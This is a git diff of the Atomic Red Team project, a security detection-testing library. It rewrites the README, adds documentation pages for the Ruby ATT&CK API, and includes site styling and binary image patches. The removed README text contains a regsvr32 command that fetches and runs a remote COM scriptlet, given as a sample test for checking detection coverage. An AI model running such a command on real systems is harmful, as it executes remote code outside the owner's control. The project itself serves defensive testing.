[![CircleCI](https://circleci.com/gh/redcanaryco/atomic-red-team.svg?style=svg)](https://circleci.com/gh/redcanaryco/atomic-red-team) -Atomic Red Team is small, highly portable, community developed detection tests mapped to -[Mitre's ATT&CK](https://attack.mitre.org/wiki/Main_Page). *ATT&CK was created by and is a -trademark of The MITRE Corporation.* +Atomic Red Team allows every security team to test their controls by executing simple +"atomic tests" that exercise the same techniques used by adversaries (all mapped to +[Mitre's ATT&CK](https://attack.mitre.org/wiki/Main_Page)). -**Table of Contents:** -1. [Quick Start: Using Atomic Red Team to test your security](#quick-start-using-atomic-red-team-to-test-your-security) -2. [Contributing Guide](https://github.com/redcanaryco/atomic-red-team/blob/master/CONTRIBUTIONS.md) -3. [Doing more with Atomic Red Team](#doing-more-with-atomic-red-team) - 1. [Using the Atomic Red Team Ruby API](#using-the-atomic-red-team-ruby-api) - 2. [Bonus APIs: Ruby ATT&CK API](#bonus-apis-ruby-attck-api) - 3. [Execution Frameworks](https://github.com/redcanaryco/atomic-red-team/blob/master/execution-frameworks) +## Philosophy -## Quick Start: Using Atomic Red Team to test your security +Atomic Red Team is a library of simple tests that every security team can execute to test their controls. Tests are +focused, have few dependencies, and are defined in a structured format that be used by automation frameworks. -Our Atomic Red Team tests are small, highly portable detection tests mapped to the MITRE ATT&CK Framework. Each test -is designed to map back to a particular tactic. This gives defenders a highly actionable way to immediately start -testing their defenses against a broad spectrum of attacks. +Three key beliefs made up the Atomic Red Team charter: +- **Teams need to be able to test everything from specific technical controls to outcomes.** + Our security teams do not want to operate with a “hopes and prayers” attitude toward detection. We need to know + what our controls and program can detect, and what it cannot. We don’t have to detect every adversary, but we + do believe in knowing our blind spots. -### Best Practices +- **We should be able to run a test in less than five minutes.** + Most security tests and automation tools take a tremendous amount of time to install, configure, and execute. + We coined the term "atomic tests" because we felt there was a simple way to decompose tests so most could be + run in a few minutes. -* Be sure to get permission and necessary approval before conducting tests. Unauthorized testing is a bad decision -and can potentially be a resume-generating event. + The best test is the one you actually run. -* Set up a test machine that would be similar to the build in your environment. Be sure you have your collection/EDR -solution in place, and that the endpoint is checking in and active. +- **We need to keep learning how adversaries are operating.** + Most security teams don’t have the benefit of seeing a wide variety of adversary types and techniques crossing + their desk every day. Even we at Red Canary only come across a fraction of the possible techniques being used, + which makes the community working together essential to making us all better. -* Spend some time developing a test plan or scenario. This can take many forms. An example test plan could be to -execute all the Discovery phase items at once in a batch file, or run each phase one by one, validating coverage as you go. +See: https://atomicredteam.io/philosophy -### Getting Started +## Having trouble? -Select one or more Atomic Tests that you plan to execute. A complete list, ATT&CK matrices, and platform-specific -matrices linking to Atomic Tests can be found here: +Join the community on Slack at [https://atomicredteam.slack.com](https://atomicredteam.slack.com) -- [Complete list of Atomic Tests](atomics/index.md) -- [Atomic Tests per the ATT&CK Matrix](atomics/matrix.md) -- Tests for Windows - - [List of Atomic Tests](atomics/windows-index.md) - - [ATT&CK Matrix](atomics/windows-matrix.md) -- Tests for macOS - - [List of Atomic Tests](atomics/macos-index.md) - - [ATT&CK Matrix](atomics/macos-matrix.md) -- Tests for Linux - - [List of Atomic Tests](atomics/linux-index.md) - - [ATT&CK Matrix](atomics/linux-matrix.md) +## Getting Started -Once you have selected an Atomic Test, we suggest you take a three phase approach to running the test and evaluating results: +* [Quick Start: Using Atomic Red Team to test your security](#quick-start-using-atomic-red-team-to-test-your-security) +* Peruse the [Complete list of Atomic Tests](atomics/index.md) and the [ATT&CK Matrix](atomics/matrix.md) + - Windows [Tests](atomics/windows-index.md) and [Matrix](atomics/windows-matrix.md) + - macOS [Tests](atomics/macos-index.md) and [Matrix](atomics/macos-matrix.md) + - Linux [Tests](atomics/linux-index.md) and [Matrix](atomics/linux-matrix.md) +* [Fork](https://github.com/redcanaryco/atomic-red-team/fork) and [Contribute](https://atomicredteam.io/contributing/) your own modifications +* [Doing more with Atomic Red Team](#doing-more-with-atomic-red-team) + * [Using the Atomic Red Team Ruby API](#using-the-atomic-red-team-ruby-api) + * [Bonus APIs: Ruby ATT&CK API](#bonus-apis-ruby-attck-api) + * [Execution Frameworks](https://github.com/redcanaryco/atomic-red-team/blob/master/execution-frameworks) +* Have questions? Join the community on Slack at [https://atomicredteam.slack.com](https://atomicredteam.slack.com) -![Phases](https://www.redcanary.com/wp-content/uploads/image2-5.png) +## Code of Conduct -### Phase 1: Execute Test +In order to have a more open and welcoming community, Atomic Red Team adheres to a +[code of conduct](CODE_OF_CONDUCT.md). -In this example we will use Technique T1117 "Regsvr32" and Atomic Test "Regsvr32 remote COM scriptlet execution". This particular -test is fairly easy to exercise since the tool is on all Windows workstations by default. +## License -The details of this test, [which are located here](atomics/T1117/T1117.md#atomic-test-2---regsvr32-remote-com-scriptlet-execution), -describe how you can test your detection by simply running the below command: - -``` -regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll -``` - -### Phase 2: Collect Evidence - -What does your security solution observe? -- You may see a file modification in the user’s profile. -- You may detect network connections made by regsvr32.exe to an external IP. -- There may be an entry in the proxy logs. -- You may observe the scrobj.dll loading on Windows. -- Or you might not observe any behavior on the endpoint or network. - -This is why we test! We want to identify visibility gaps and determine where we need to make improvements. - -![RC Timeline](https://www.redcanary.com/wp-content/uploads/image9-1.png) - -![Cb example 1](https://www.redcanary.com/wp-content/uploads/image5-3.png) - -![Cb Example 2](https://www.redcanary.com/wp-content/uploads/image7-2.png) - -### Phase 3: Develop Detection - -So you executed the test and none of your defenses fired – that’s why we test! Based on your observations -and detection capabilities, it is time to use what you have to try to detect this event in your environment. - -![Unwind Data](https://www.redcanary.com/wp-content/uploads/image8-1.png) - -Once the detection is built, it is time to validate that the detection is working and that it is appropriately -tuned. If you were to write your detection too broadly and “detect” every regsvr32.exe without any suppression, -you are going to be digging out from a mountain of false positives. But if you write it too narrow and it -only detects regsvr32.exe with the exact command line `/s /u /i` then all an attacker has to do is slightly -modify their command line to evade your detection. - -### Measure Progress - -One of the goals is to try to measure your coverage/capabilities against the ATT&CK Matrix and to identify where you may have gaps. Roberto Rodriguez ([@cyb3rWar0g](https://twitter.com/Cyb3rWard0g)) provided [this spreadsheet](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook/blob/master/metrics/HuntTeam_HeatMap.xlsx) and complementary [blog post](https://cyberwardog.blogspot.com/2017/07/how-hot-is-your-hunt-team.html) showcasing how to determine where you stand within your organization in relation the MITRE ATT&CK Matrix. - -![HeatMap](https://www.redcanary.com/wp-content/uploads/image4-5.png) - -![Measure](https://www.redcanary.com/wp-content/uploads/image6-2.png) - -## Doing more with Atomic Red Team -### Using the Atomic Red Team Ruby API - -Atomic Red Team comes with a Ruby API that we use when validating tests again our spec, generating -documentation in Markdown format, etc. You too can use the API to use Atomic Red Team tests -in your test execution framework. - -Add atomic-red-team to your Gemfile: -``` -gem 'atomic-red-team', git: 'git@github.com:redcanaryco/atomic-red-team.git', branch: :master -``` - -#### Examples: -##### Example: print all the Atomic Tests by ATT&CK technique -``` -require 'atomic_red_team' - -AtomicRedTeam.new.atomic_tests.each do |atomic_yaml| - puts "#{atomic_yaml['attack_technique']}" - atomic_yaml['atomic_tests'].each do |atomic_test_yaml| - puts " #{atomic_test_yaml['name']}" - end -end -``` - -##### Example: Show what atomic tests we have for a specific ATT&CK technique -``` -require 'atomic_red_team' - -AtomicRedTeam.new.atomic_tests_for_technique('T1117').each do |atomic_test_yaml| - puts "#{atomic_test_yaml['name']}" -end -``` - -For additional examples, see the utilities in `bin/` or the API code in `atomic_red_team`. - -### Bonus APIs: Ruby ATT&CK API -Atomic Red Team pulls information about ATT&CK techniques using the STIX definitions of ATT&CK located -on [MITRE's CTI Github](https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json). - -We created a lightweight wrapper around that data structure to make it simple to consume. If you -would like to use it, install the atomic-red-team gem as [described above](#using-the-atomic-red-team-api), -and then: - -``` -$ bundle exec irb -2.2.0 :001 > require 'attack_api' -``` - -Get all the techniques -``` -2.2.0 :020 > Attack.new.techniques.count - => 219 -``` - -Get information about a technique by it's friendly identifier -``` -2.2.0 :006 > Attack.new.technique_info('T1117') - => {"name"=>"Regsvr32", "description"=>"Regsvr32.exe is a command-line program used to register and unregister - object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can - be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this - functionality to proxy" } - -2.2.0 :007 > Attack.new.technique_info('T1117').keys - => ["name", "description", "kill_chain_phases", "external_references", "object_marking_refs", "created", - "created_by_ref", "x_mitre_platforms", "x_mitre_data_sources", "x_mitre_defense_bypassed", - "x_mitre_permissions_required", "x_mitre_remote_support", "x_mitre_contributors", "id", "modified", "type"] -``` - -Get a map of ATT&CK Tactic to all the Techniques associated with it -``` -2.2.0 :019 > Attack.new.techniques_by_tactic.each {|tactic, techniques| puts "#{tactic} has #{techniques.count} techniques"} -persistence has 56 techniques -defense-evasion has 59 techniques -privilege-escalation has 28 techniques -discovery has 19 techniques -credential-access has 20 techniques -execution has 31 techniques -lateral-movement has 17 techniques -collection has 13 techniques -exfiltration has 9 techniques -command-and-control has 21 techniques -initial-access has 10 techniques -``` - -My favorite: Getting a 2D array of the ATT&CK matrix of Tactic columns and Technique rows: -``` -2.2.0 :062 > Attack.new.ordered_tactics - => ["initial-access", "execution", "persistence", "privilege-escalation", "defense-evasion", "credential-access", - "discovery", "lateral-movement", "collection", "exfiltration", "command-and-control"] - -2.2.0 :071 > Attack.new.ordered_tactic_to_technique_matrix.each {|row| puts row.collect {|technique| technique['name'] if technique}.join(', ')}; -Drive-by Compromise, AppleScript, .bash_profile and .bashrc, Access Token Manipulation, Access Token Manipulation, Account Manipulation, Account Discovery, AppleScript, Audio Capture, Automated Exfiltration, Commonly Used Port -Exploit Public-Facing Application, CMSTP, Accessibility Features, Accessibility Features, BITS Jobs, Bash History, Application Window Discovery, Application Deployment Software, Automated Collection, Data Compressed, Communication Through Removable Media -Hardware Additions, Command-Line Interface, AppCert DLLs, AppCert DLLs, Binary Padding, Brute Force, Browser Bookmark Discovery, Distributed Component Object Model, Clipboard Data, Data Encrypted, Connection Proxy - -, , Winlogon Helper DLL, , Timestomp, , , , , , -, , , , Trusted Developer Utilities, , , , , , -, , , , Valid Accounts, , , , , , -, , , , Web Service, , , , , , -``` +See the [LICENSE](https://github.com/redcanaryco/atomic-red-team/blob/master/LICENSE.txt) file. \ No newline at end of file diff --git a/atomic-red-team.gemspec b/atomic-red-team.gemspec index 60749329..a71738dd 100644 --- a/atomic-red-team.gemspec +++ b/atomic-red-team.gemspec @@ -10,4 +10,6 @@ Gem::Specification.new do |s| s.files = %w(atomic-red-team.gemspec) + Dir['{atomic_red_team}/**/*', '*.md', 'bin/*'] s.test_files = Dir['spec/**/*'] s.require_paths = %w(atomic_red_team) + + s.add_development_dependency 'github-pages' end \ No newline at end of file diff --git a/docs/_config.yml b/docs/_config.yml index c4192631..f216f3e6 100644 --- a/docs/_config.yml +++ b/docs/_config.yml @@ -1 +1,13 @@ -theme: jekyll-theme-cayman \ No newline at end of file +title: Atomic Red Team +description: | + Atomic Red Team is a library of simple tests that every security team can execute to test their controls. Tests are + focused, have few dependencies, and are defined in a structured format that be used by automation frameworks. +show_downloads: true +google_analytics: +theme: jekyll-theme-cayman +github: + is_project_page: true + repository_url: https://github.com/redcanaryco/atomic-red-team + repository_name: Atomic Red Team + owner_name: Red Canary + owner_url: https://github.com/redcanaryco diff --git a/docs/_layouts/default.html b/docs/_layouts/default.html new file mode 100644 index 00000000..46762f91 --- /dev/null +++ b/docs/_layouts/default.html @@ -0,0 +1,53 @@ + + + + + + {% seo %} + + + + + + + + +
+ {{ content }} + + +
+ +{% if site.google_analytics %} + +{% endif %} + + \ No newline at end of file diff --git a/docs/apis-execution-frameworks.md b/docs/apis-execution-frameworks.md new file mode 100644 index 00000000..0cb775ba --- /dev/null +++ b/docs/apis-execution-frameworks.md @@ -0,0 +1,111 @@ +--- +layout: default +--- + +# Using the Atomic Red Team APIs +Atomic Red Team includes a Ruby API we use to validate atomic tests, generate docs, and +[interact with ATT&CK](#bonus-apis-ruby-attck-api). + +> Want to contribute APIs for another language such as Python or Powershell? + Follow the interface in `atomic_red_team/atomic_red_team.rb` and submit a pull request! + +## Ruby API + +Atomic Red Team comes with a Ruby API that we use when validating tests again our spec, generating +documentation in Markdown format, etc. You too can use the API to use Atomic Red Team tests +in your test execution framework. + +### Installing +Add atomic-red-team to your Gemfile: +```ruby +gem 'atomic-red-team', git: 'git@github.com:redcanaryco/atomic-red-team.git', branch: :master +``` + +### Example: print all the Atomic Tests by ATT&CK technique +```ruby +require 'atomic_red_team' + +AtomicRedTeam.new.atomic_tests.each do |atomic_yaml| + puts "#{atomic_yaml['attack_technique']}" + atomic_yaml['atomic_tests'].each do |atomic_test_yaml| + puts " #{atomic_test_yaml['name']}" + end +end +``` + +### Example: Show what atomic tests we have for a specific ATT&CK technique +```ruby +require 'atomic_red_team' + +AtomicRedTeam.new.atomic_tests_for_technique('T1117').each do |atomic_test_yaml| + puts "#{atomic_test_yaml['name']}" +end +``` + +For additional examples, see the utilities in `bin/` or the API code in `atomic_red_team`. + +## Bonus APIs: Ruby ATT&CK API +Atomic Red Team pulls information about ATT&CK techniques using the STIX definitions of ATT&CK located +on [MITRE's CTI Github](https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json). + +We created a lightweight wrapper around that data structure to make it simple to consume. If you +would like to use it, install the atomic-red-team gem as [described above](#using-the-atomic-red-team-api), +and then: + +```ruby +$ bundle exec irb +2.2.0 :001 > require 'attack_api' +``` + +### Example: Get all the techniques +```ruby +2.2.0 :020 > Attack.new.techniques.count + => 219 +``` + +### Example: Get information about a technique by it's friendly identifier +```ruby +2.2.0 :006 > Attack.new.technique_info('T1117') + => {"name"=>"Regsvr32", "description"=>"Regsvr32.exe is a command-line program used to register and unregister + object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can + be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this + functionality to proxy" } + +2.2.0 :007 > Attack.new.technique_info('T1117').keys + => ["name", "description", "kill_chain_phases", "external_references", "object_marking_refs", "created", + "created_by_ref", "x_mitre_platforms", "x_mitre_data_sources", "x_mitre_defense_bypassed", + "x_mitre_permissions_required", "x_mitre_remote_support", "x_mitre_contributors", "id", "modified", "type"] +``` + +### Example: Get a map of ATT&CK Tactic to all the Techniques associated with it +```ruby +2.2.0 :019 > Attack.new.techniques_by_tactic.each {|tactic, techniques| puts "#{tactic} has #{techniques.count} techniques"} +persistence has 56 techniques +defense-evasion has 59 techniques +privilege-escalation has 28 techniques +discovery has 19 techniques +credential-access has 20 techniques +execution has 31 techniques +lateral-movement has 17 techniques +collection has 13 techniques +exfiltration has 9 techniques +command-and-control has 21 techniques +initial-access has 10 techniques +``` + +### Example (my favorite): Getting a 2D array of the ATT&CK matrix of Tactic columns and Technique rows: +```ruby +2.2.0 :062 > Attack.new.ordered_tactics + => ["initial-access", "execution", "persistence", "privilege-escalation", "defense-evasion", "credential-access", + "discovery", "lateral-movement", "collection", "exfiltration", "command-and-control"] + +2.2.0 :071 > Attack.new.ordered_tactic_to_technique_matrix.each {|row| puts row.collect {|technique| technique['name'] if technique}.join(', ')}; +Drive-by Compromise, AppleScript, .bash_profile and .bashrc, Access Token Manipulation, Access Token Manipulation, Account Manipulation, Account Discovery, AppleScript, Audio Capture, Automated Exfiltration, Commonly Used Port +Exploit Public-Facing Application, CMSTP, Accessibility Features, Accessibility Features, BITS Jobs, Bash History, Application Window Discovery, Application Deployment Software, Automated Collection, Data Compressed, Communication Through Removable Media +Hardware Additions, Command-Line Interface, AppCert DLLs, AppCert DLLs, Binary Padding, Brute Force, Browser Bookmark Discovery, Distributed Component Object Model, Clipboard Data, Data Encrypted, Connection Proxy + +, , Winlogon Helper DLL, , Timestomp, , , , , , +, , , , Trusted Developer Utilities, , , , , , +, , , , Valid Accounts, , , , , , +, , , , Web Service, , , , , , +``` diff --git a/docs/assets/css/style.scss b/docs/assets/css/style.scss new file mode 100644 index 00000000..47b6be5e --- /dev/null +++ b/docs/assets/css/style.scss @@ -0,0 +1,10 @@ +--- +--- + +//$header-bg-color-secondary: #CE232E; +$header-bg-color-secondary: #CE232E; +$header-bg-color: #d6757c; + +$section-headings-color: #CE232E; + +@import "{{ site.theme }}"; diff --git a/docs/assets/images/favicon.png b/docs/assets/images/favicon.png new file mode 100644 index 0000000000000000000000000000000000000000..75d5fd475b6466c9caf4c21b0c88ed3279249347 GIT binary patch literal 6487 zcmZ`+Wl)?!wjJDqyG^j*P6ET=?gY2sHpl>jTkxPk10=Wy5?q517Tnz(f= zTU+(Ms{XqB^f~ADz4uo~s;kQ3U{YWL000~Xd1;M5Gw|;~NB#46_3^m?0I*pgQc~&) zQc^&5n3FZc!3qG7k4)A@)6?uH$udlgj~_$KmB(ns&?r#C;m|0=d@V^J&&Ecl}Lk#O$Ja|Lm{Io*P6MlpH=@O*Ms{Cu*=%;_vKY8m5!-6XJ#lI|>6 zMtOGvW_qX~NjC>S&^Qzyz>^84vkEnJ)6{iOgT&t1$=vz%Ump59|uL;p?V%b^R(? z3Pq|?x$}I_`@GKQKlds;Nhl_{ky)BikC}Ma+4>=S`(`yUot`qv>;l7&xqzN({fRlMwAl%(;+Vj}Hz26#f?Mz{jJMbYL2YjHQ~o zw?dbi$Lm_i$LIum1j9H7l9WGEUc`}{7QQ@_`b__}J8|(-Uo{~Tnm?4_bY4o75(@>R zUop$pu#KCA!dxKYM6qU*9@R066jN_p>NSCWMh4%*4q0D(=uZ|$?r5Vub>q(s;(f6+ z-3i{oq0ZYz4!o)PYei@-BqktHSj4M1TB^JuEVhkk0<>ETtBsbN9}@RR8yRyFzNL}b zgiN#P5=*SZakOcR>1d?sye3o;=jMc;mYk2+N9Obx(Ux9FBa)z_Dg#3}sFhLl#pf0@ zSCLjf(dPytF#riqgSv98ZDp&?rIEAGa_}Bd@M-14cTremZ-KP??b!CoYH0DfWW%~c zeW+@{5fpqNTH7E|jda&|BHW@F|A{CQt8oX;M0>B$t3^A3FBQ?z?QG6GPVxr+=u8VH z5JfU|?GSOPcxk+Ph@pml6dE3CAFA3}#?ndGk2~}Qi0LL7n;SA;7?4d3MQLqXm-xYT zf$P7Cy#x?k%Qq_!U!wi#5wdX7IPih*NoP>P#PSud;tV5NyyJVz9P6(;uMcI6OHS-_ zw~|GTIA%`!;=C){zSH7f;fooVM^}Z+=^r9{(AanGBM=J53Yex==EJ}(uW8t3eyZ0B zqGUV#lDp9akC-ZZPZy{Ps4lB!qxFi@v;)t*0b|)W7b!!koaH-$8a>{Ks;`e?m*;tM5Znf)*2`|aL<(FGj5awiyp#E zAZ8`G15z{G*cmVt!sLvYfj}xj`2+PBUN?ba9B6#{;({JsQqmTkdR$H!PpO;6MFNa3 z#(*3ty%A5ufYUE69fAENj9pwYfwus0K1z$eon9`Uu+O`Ix-kqa-jp!g_liiWr1-U6 zs6lSNx*9*;M{&Y21zRQ%4u>>p-r$(KEpZcCnUq=%>A1b^t2@M_E(P@XVMwbYF)c)N@tjUq{iXd zofT`ir^XL#L9*NobA&Az4xL_-OlF|m&+4jk5`xNtIM11!ox*epeLw?3k+t?z$sxKC z22MsO!!iA9!o|qA2!93wg=|Z;-;6!+f(2j=9*778cTcb+WJ=~PC-0ki-bNn5x5RIB z8Y~(ty7Of)G|E)Vq>c(f`pX(3>i*R}xjv0|5|@Mf zA{3T5Y&a>Xau%_&g+K8>Qd0P*xvAI;lMNdU7p64}jM|G%(n0hgVYX+rBzBIIppwgo z*zw^#c2H_tU|Z(rmnS<;L z3!zQGCTKIMJOP@+Y2q0PErW(1`?liyAo%#T614jJ%wCA@@m)$?)LiQB&mOGu!Ep|; zf08S|nX`0W$gv5%LeIuu!e^v^5%a?_f?|REC;15flC@WVuevjyO(WChLzEw6# zR_9~Oy0|;KTc2mKi`QD8bBr51tkly_Xuw=+zc@L6B=&B9Yvi2T~S@qe*a-8xC*~Pe>xE21pBFbfs0mlTx=tWXbT+c|~GT(;qFuAl| z)Huqlg{-P9C6Q5Y{FdOB9UlR2{|k@nk#o_t$A-8Nwfa$Lwv9z;?`f|C?RnqqQ0iv$ zbi-uaUg}OmPsQZwRQ9IH_A@se97tM8zXr*1G}T$lf~QKTN+jlVNu21fl+Ks#n6eA9 z|6uqbAkD_WQ$V-%zF6PZ+E&HZ>9gV7Q00!Zq?h!~z$v8z{p-|s!^hMIJRVnbn)p)@ zHxW@0;RzlIiG4qr`RyF0z7;o*r;O+Qx+BBuiq$7}<(dI`7#z}WMr@k*YRCE#>{7j9 zJ9YqzyjOfUzVXD6z!)SvW>{btATUgvN@8Nte$}e>LX}hLm`cp<;qZ)96I&yc1*fE7 zs$hz`#Gg=-sr1X3z__FNS@%Iw=__Jokl4H_Y-B56bLy*e5tTB10pr&r)%&5ybuE{> ziTORs3ExKcV}oNXV}O%DMf%Ag*QVI;=`i!4SIS;`BWsP}8W%I^1-gDG=KA;2)6!x6 zlNyU^Pix#QhTX$K?S7R(5xNNit7ugffh+^=x_1s-oFtyA=UMgE1{DmF)lyONuM{YM z*RH?3PaKlHiawNRGkI_I6uzf0iA!Qj5`oD%T$x^F`E#;!taH_RgRha#(E7_rn%F_d zA$;C&7w9^%TRS9>-RumVZK?Eb-qGB#8GWwlD=9AhbrigX@)7GJ$%x_2uhdEtyQt|X z#-2AMx9kfoWG3uJOHJMG{dbHeN?welikXUoN@85woUNzd&nphzQ|qNvmAW_H|5jm( zV3TGmuedO2{H|P6T6sABtytUr`ZHtcGuYk8h{XYRnAGc$7yQ%~r0MKSo_< zvmq1DvWBo;J8~~oT6W!kZ23r?j`(^S`g*~r>2{K2Jtf_+tA0jXUpv`}9y+*sW$8O{ zRnzYMq|@4EDz_KQB`hN>?Adb!(ms0ou65D*`ZqoN*U`u!!Z?GX+9e^Or>$wtP1U-rSV8||-B2#CCnl_gb!R=}Ey{QzmZhdY=796YFBjPvE8f6$8)tO_)@=uA#;K=PL{9C+b(_ z$R&m0OT}uoOdB_FDt){ z_$^u@z9we2{iyQt7%=_5YLLo%WHod^@%IB~N+QUI@6i*a#4CE} zw5X^nWC-GR$ZOG-ra1wdaCqub{2>P*?JLVkC@f)BqJi1ZjT>_(h<0n0u-kSCE$o-9H$hKkL6R7ai~)6gPVjIz1J2pp+BL3MjzI&&f?EiU|Y)!7xi} zkcPDEzvO>*B6PNHZq6VsE>BNSPES5gCzuTvkC2cM7dI~#FE7U*28XLR)XmI`1L{iu zPm}-kk+yQRfI*zyAWl%=UtcqGCwDgyI=a7s{{8*)o^BB9|BD25{a0Fl66E@O!o|bM z&Gm2ZKT_~t6r^G0>g3@5*IpY6aTDbQ|AYMB@c%{or%KAn(HUmt>iS0}%JVPDe`5d5 zSA#*U{^a*J%)j~niTyWU-PXy?=})a;5DNvUn-%O&uz#ul_k#aF<6mB2uD|8_kMjMq zH~&EYG)EK@%=Pa^i(=x+uqFWjn5_!Z5?Xo~b-MNrMm@w&);q`dd&^$4v8z90lLXb$ zrPcX5H<>ayMhonf}N(F>I{ffiXM!!VBM8O~L9*YW<^J3WA z798oS%EarfYJFeoIeWFzdOdP6%lm0{c|2xXc-lxy(fesfcdlcr8e#6{yV*mGJ&qI<(xxDL~!FCK*@7} z$JqI3T*#cA+j@MNO{_qfUJtSFXJ|Xc2G}gHgDLrizAejL?)pnU6b07NVMQT@xNC)? zE4LSySHC==pGuxndv~#Ke$-65o>y7Sbo`VJFbd1o$`GNl>SSh(Ow@X@2b1S|CHzar zSHU;XLk^mQmbep|%C~MqCA2*ke>hK`a<4yIsMJ$^SPk=ke1kMKQ-&(+)+ajNQc65A zM|tg|yIX)Hr-)_b%*m)5Ta$Aq%d+izgfA7(xD@2ZPrKgK;h4>50sB4e%J5cgi<$nIEXW@P|~zJEg?r z*sgpNc{|hJ=ggtl#3Ogp#og!+Ww1|y8Xh-SLqzB-HrF0QDk=8YUgnOwKAyHcvDWS% z+|QzGZ}2S zHrVehGtQ>IQLQZUu*-!}i@2YI+24zYit@$I-|+T`-3*8OMT zQG%qPottb#-SB5SC#iya>eE3@ad>oEYCw2*>T8QqtzaRsxSceL*}xz*(IBohId|rm zlCG1@{g60u<2K}(iQq57Z|L6dfTzw7D&2>4%|?md%Hy`@7RtdD;Ps@_o1NsOO4I=>|%8BYTUvAku-P2fN*=vPQz74 z`}XTC1G|KhvY^jzAoksI>gBMq15ktb5A5D)nkYGSO&ZOpgXP}|IpXfY|T6eaRi)<41?PIY;i5<%8{R*oHjFpOBf+oxCcB zwi_k}e7=(C1|!^nW^z&`b6UCO%vi>KDU#d1@mo7!MTTd67%0$am!BcpZ6{t1J3Mi-PgMwlz05e<QO<1&hm4#qX$0xm*j&WjH&!A@48hTJu6Nq0!{vs{5%n;vbKDMe+-|~1r_(7Jm8(y&EP~@(WSm$bfQmc|2ievft za+ot_hU3HaBfb2|YIqNFPR?k!7HgPU)U6kj)TKCG7HqfR3k4*8~%93uL+~OE)Zutj7;j}D@{=GL>u9{tSPd!SDR~+YWbH=> z0x=LBR*`C68toJH19-Cr)stI6P}18}_g-XBaKRn)TYwGf z4C0BX4W%I10Q$`uwvCm{iI84{o9W>}I(N3648*)MnFn@6L6V@9T3eS}vCA(Qwq0Z* z76kY7>;T_!9&U!elvMfrG|e?GZmG366=61jEyA7$(+IDkJ}`r}pb-0iN+jireM6LU z_foE>Tzb0oeWVYY1i$k`bp(m4`uD~08Z(@STwu(AqAijgO9}#Fn#ZmnM%mP}VcJ`l zXC!&C2XstPjQdmHQ#UudIw&*pb|YB|{AA+oyUcQ#)Tra=*qS!e zJ7b=^qGkp=i&ZP7zN~a0|Dcu?dQvxwPuqg{Y=YbMr9VV~p~P-pH4y8qMs@mUiPl|l z|F{jN;t@8j-p^3)m^ZOqcFOQM5405g(~HUoEPhlHLgvxd->ipsAU&d@heLK9=prgT zQ74(V!zX6n{w*SF4!ekvtB_2Jpy?+08g`af)JC4{ZfZ?E<<6Iuk^N{bF=12#SUZBB z$PxW!I+y%~xvw8g@Sx>#whG^|q(gQ>&48_T#GG%NhVeFLo#rL|$*hpQUrC-2+ZUsP zAF-KsFv$#R5VgI3FOdnbbcb4oFua@EV9AUY+nH^i^=}HN|3KGAV7(imTC&HSn4H^4 zAbY$Llz_AhReq<7H-Lr~uC4$vFfoaH!XlODc4;+M>Pk{Jzk=JNXS4<)TjBArn}wEH^n#gqf=ugI0@rY5Mzx=kwId+~a%b{EBd9W`gXubj~Bc;@!`*l6@86 z*|@T!V;14n)D)aujZ^%sx?Y&d^ElaS>IMz|^`3HNpWl)l@wH02;)nj$(|FEzvDd%q zK6I*fe7L&Gur;`37l@A=VTODUe0c*FVj;8K=>|&@%JebXk3UbaRf;vn?0ZpFr3<@o zkhr#XMiwZ_#jV?VP#juvu~ICoi+MyYqyii?M$kCfUfGT%NX)-QT&+!PKcWIHZ|*ZO zFO4P2h+@08HNnlQgIG-Vgco_pUr6HR5V2rkASGmp7KbcDm5MyYjopJ3&;#eZgfXev z5@tu;5%L8h^Dv&V(17;l)_PT=b(TJlU&B!wSdvH3BsddYV;!sg#=pLwI6#zYWSoFBqauOTKV!kkIvK0tQrLZ~J-} zhs)*hK*GY-2N#>@pMvX`h$Y3grMleJ4nJa9xW}qX3D(O~?AA+}F}PcWZHHwyvhK6> z3u^>==OI6pTKKPbbPtFB_VH(($Qtu+hGy2(pHo8Sb*6%Pm8KM`8CbXy@LwN|aO^EW z{R1A!tFZAIsG}|@T6G5d@+u_;r>g5>t3~}E<9u0YDK4{hEH1F0`3BYGwcd| q##H-+pC8XM#?LZT<(|*a9y#9WF#>z@xouB)sHJz2!&ptjLYEM7?j~_qlTZQ~+>1^q3q53iPsk?*X3mKU_jpC(T zy;hVH&F2RvRf0eHUj{V3<>RQ9WKusTTiW^^mP2>-YA4MDv%1E-OFwqVs#IdDTDK@3 z_}(52Rm9)DCBxb#PX@YdJx>OsqVl|2rEqC7NW)6}&QHN+?`vk4etej^P9FA!=UAhd z`oX-@JyTOthuAgBu&gK5IaglDtTGzjwJorZ<^{Hj2$|@pwf<}w3=1Wr-?@d! zyxh9j&Fy>j;fG7tDy8UXXwEd5?irsw`0+B3>E7M7r%!ivR6Z6nJ$rg>P2}lT>UVQf z!>eK+zI7*shTdYoblnM{Gyc`~$%Wyl+|^CIE?r`z`{zSupE-PCSH(*jFO&@Z$+l*X zy=>Q^^91ayN2S}1EP{zt`(%W&M{OiMkH>4_Slb?7`pHjQ>YsXx0le{ml@N8He*9@1 zFNdvBj}zT4vFlI@W*Nbq=069}{-zcR=C$Uv^__LsM)rNt8n1zX z{!Q5duYN-)df*NpJvF?pP6~!`R8_h}cIB4hUtB^-0$&07&USX4uL^ZCUB5Y3pjj>( z#atr4_TcS*eo;idHA5TufuvJY16IuU`K@18(sR{f!6Tmk*i zU816F;;y9qTQd@0zI_)C^=+>+|65lE-hQx{#mIsG+eK%UN%hseV!%~0G3qZpsVH<| z#>1Q+@_)NbwnWJ2ZsI3zta{%58`QY)?P8ARsI4w|Cx6da^}(y|Z$0^6 zQ1~w>{4bRL7Zm;hg8zcT1+@Ja6#fee{{@Brx1}~+djgsKhqW%8-F2uoT_m@uoFGB7 z2}2m4on#a5fm$EJP~R+9;;^H5pXi}z?qcCc99-mP$MSU7Nf$Gv?+GCxw$rsP; zx?j&M0kU73A0+R7>kFB(v1piHBTNre*740h+zq}q<7NX{4U{IGke;rjHC^}KF|v35 zJ)7evgMabwIL40s1*OXK4-viEak 